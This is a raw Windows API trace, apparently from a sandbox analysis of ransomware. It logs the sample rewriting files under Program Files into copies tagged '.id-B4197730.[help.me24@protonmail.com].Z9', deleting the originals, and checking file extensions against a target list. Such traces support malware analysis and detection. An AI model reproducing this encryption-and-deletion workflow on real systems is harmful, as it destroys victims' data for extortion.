	[0088.671] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0088.671] ReadFile (in: hFile=0x320, lpBuffer=0x3fc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fc4058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0088.688] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.688] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fca8*=0xc0112, lpOverlapped=0x0) returned 1
	[0088.947] SetEndOfFile (hFile=0x320) returned 1
	[0089.159] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ebb008
	[0089.166] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0089.166] WriteFile (in: hFile=0x320, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0089.167] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0089.167] WriteFile (in: hFile=0x320, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0089.173] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0089.173] WriteFile (in: hFile=0x320, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0089.175] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0089.175] CloseHandle (hObject=0x320) returned 1
	[0090.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.944] lstrlenW (lpString=".doc") returned 4
	[0090.944] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0090.944] lstrlenW (lpString=".docx") returned 5
	[0090.945] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0090.945] lstrlenW (lpString=".pdf") returned 4
	[0090.945] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString=".xls") returned 4
	[0090.945] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString=".xlsx") returned 5
	[0090.945] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0090.945] lstrlenW (lpString=".ppt") returned 4
	[0090.945] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString=".zip") returned 4
	[0090.945] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString=".rar") returned 4
	[0090.945] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString=".bz2") returned 4
	[0090.945] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0090.945] lstrlenW (lpString=".7z") returned 3
	[0090.945] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString=".dbf") returned 4
	[0090.945] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString=".1cd") returned 4
	[0090.945] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString=".jpg") returned 4
	[0090.945] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.945] lstrlenW (lpString=".doc") returned 4
	[0090.945] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0090.945] lstrlenW (lpString=".docx") returned 5
	[0090.945] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0090.945] lstrlenW (lpString=".pdf") returned 4
	[0090.945] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0090.946] lstrlenW (lpString=".xls") returned 4
	[0090.946] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0090.946] lstrlenW (lpString=".xlsx") returned 5
	[0090.946] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0090.946] lstrlenW (lpString=".ppt") returned 4
	[0090.946] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.946] lstrlenW (lpString=".zip") returned 4
	[0090.946] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0090.946] lstrlenW (lpString=".rar") returned 4
	[0090.946] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0090.946] lstrlenW (lpString=".bz2") returned 4
	[0090.946] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0090.946] lstrlenW (lpString=".7z") returned 3
	[0090.946] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.946] lstrlenW (lpString=".dbf") returned 4
	[0090.946] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.946] lstrlenW (lpString=".1cd") returned 4
	[0090.946] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0090.946] lstrlenW (lpString=".jpg") returned 4
	[0090.946] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0090.946] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0090.946] lstrlenW (lpString="msdia90.dll") returned 11
	[0090.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0090.947] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=855376) returned 1
	[0090.947] CloseHandle (hObject=0x320) returned 1
	[0090.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20
	[0090.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0090.948] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.948] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.950] GetLastError () returned 0x0
	[0090.950] ReadFile (in: hFile=0x320, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xd0d50, lpOverlapped=0x0) returned 1
	[0090.975] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xd0d60, lpOverlapped=0x0) returned 1
	[0090.990] ReadFile (in: hFile=0x320, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.990] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0090.990] SetEndOfFile (hFile=0x388) returned 1
	[0090.990] CloseHandle (hObject=0x388) returned 1
	[0090.990] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.990] SetEndOfFile (hFile=0x320) returned 1
	[0091.732] CloseHandle (hObject=0x320) returned 1
	[0091.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.733] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1
	[0091.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.733] lstrlenW (lpString=".doc") returned 4
	[0091.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.733] lstrlenW (lpString=".docx") returned 5
	[0091.733] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0091.733] lstrlenW (lpString=".pdf") returned 4
	[0091.733] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.733] lstrlenW (lpString=".xls") returned 4
	[0091.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.733] lstrlenW (lpString=".xlsx") returned 5
	[0091.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0091.733] lstrlenW (lpString=".ppt") returned 4
	[0091.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".zip") returned 4
	[0091.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString=".rar") returned 4
	[0091.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString=".bz2") returned 4
	[0091.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.734] lstrlenW (lpString=".7z") returned 3
	[0091.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".dbf") returned 4
	[0091.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".1cd") returned 4
	[0091.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".jpg") returned 4
	[0091.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".doc") returned 4
	[0091.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString=".docx") returned 5
	[0091.734] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0091.734] lstrlenW (lpString=".pdf") returned 4
	[0091.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString=".xls") returned 4
	[0091.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString=".xlsx") returned 5
	[0091.734] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0091.734] lstrlenW (lpString=".ppt") returned 4
	[0091.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.734] lstrlenW (lpString=".zip") returned 4
	[0091.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.735] lstrlenW (lpString=".rar") returned 4
	[0091.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.735] lstrlenW (lpString=".bz2") returned 4
	[0091.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.735] lstrlenW (lpString=".7z") returned 3
	[0091.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.735] lstrlenW (lpString=".dbf") returned 4
	[0091.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.735] lstrlenW (lpString=".1cd") returned 4
	[0091.735] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0091.735] lstrlenW (lpString=".jpg") returned 4
	[0091.735] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.735] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0091.735] lstrlenW (lpString="spcwin.exe") returned 10
	[0091.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.973] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=78336) returned 1
	[0091.973] CloseHandle (hObject=0x300) returned 1
	[0091.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe")) returned 0x20
	[0091.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\spcwin.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.974] lstrlenW (lpString=".doc") returned 4
	[0091.974] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0091.974] lstrlenW (lpString=".docx") returned 5
	[0091.974] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0091.974] lstrlenW (lpString=".pdf") returned 4
	[0091.974] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0091.974] lstrlenW (lpString=".xls") returned 4
	[0091.974] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0091.974] lstrlenW (lpString=".xlsx") returned 5
	[0091.974] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0091.974] lstrlenW (lpString=".ppt") returned 4
	[0091.974] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0091.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.974] lstrlenW (lpString=".zip") returned 4
	[0091.974] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0091.974] lstrlenW (lpString=".rar") returned 4
	[0091.974] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0091.974] lstrlenW (lpString=".bz2") returned 4
	[0091.974] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0091.974] lstrlenW (lpString=".7z") returned 3
	[0091.974] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0091.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.974] lstrlenW (lpString=".dbf") returned 4
	[0091.974] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0091.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.974] lstrlenW (lpString=".1cd") returned 4
	[0091.974] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0091.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.975] lstrlenW (lpString=".jpg") returned 4
	[0091.975] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.975] lstrlenW (lpString=".doc") returned 4
	[0091.975] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0091.975] lstrlenW (lpString=".docx") returned 5
	[0091.975] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0091.975] lstrlenW (lpString=".pdf") returned 4
	[0091.975] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString=".xls") returned 4
	[0091.975] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString=".xlsx") returned 5
	[0091.975] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0091.975] lstrlenW (lpString=".ppt") returned 4
	[0091.975] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.975] lstrlenW (lpString=".zip") returned 4
	[0091.975] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString=".rar") returned 4
	[0091.975] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0091.975] lstrlenW (lpString=".bz2") returned 4
	[0091.975] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0091.975] lstrlenW (lpString=".7z") returned 3
	[0091.975] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0091.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.976] lstrlenW (lpString=".dbf") returned 4
	[0091.976] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0091.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.976] lstrlenW (lpString=".1cd") returned 4
	[0091.976] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0091.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0091.976] lstrlenW (lpString=".jpg") returned 4
	[0091.976] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0091.976] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.976] lstrlenW (lpString="msado21.tlb") returned 11
	[0091.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.976] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=53760) returned 1
	[0091.976] CloseHandle (hObject=0x300) returned 1
	[0091.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20
	[0091.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString=".doc") returned 4
	[0091.977] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString=".docx") returned 5
	[0091.977] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0091.977] lstrlenW (lpString=".pdf") returned 4
	[0091.977] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString=".xls") returned 4
	[0091.977] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.977] lstrlenW (lpString=".xlsx") returned 5
	[0091.977] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0091.977] lstrlenW (lpString=".ppt") returned 4
	[0091.977] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString=".zip") returned 4
	[0091.977] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.977] lstrlenW (lpString=".rar") returned 4
	[0091.977] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString=".bz2") returned 4
	[0091.977] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString=".7z") returned 3
	[0091.977] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString=".dbf") returned 4
	[0091.977] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString=".1cd") returned 4
	[0091.977] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.977] lstrlenW (lpString=".jpg") returned 4
	[0091.978] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString=".doc") returned 4
	[0091.978] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString=".docx") returned 5
	[0091.978] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0091.978] lstrlenW (lpString=".pdf") returned 4
	[0091.978] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString=".xls") returned 4
	[0091.978] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.978] lstrlenW (lpString=".xlsx") returned 5
	[0091.978] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0091.978] lstrlenW (lpString=".ppt") returned 4
	[0091.978] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString=".zip") returned 4
	[0091.978] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.978] lstrlenW (lpString=".rar") returned 4
	[0091.978] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString=".bz2") returned 4
	[0091.978] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString=".7z") returned 3
	[0091.978] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString=".dbf") returned 4
	[0091.978] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString=".1cd") returned 4
	[0091.978] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0091.978] lstrlenW (lpString=".jpg") returned 4
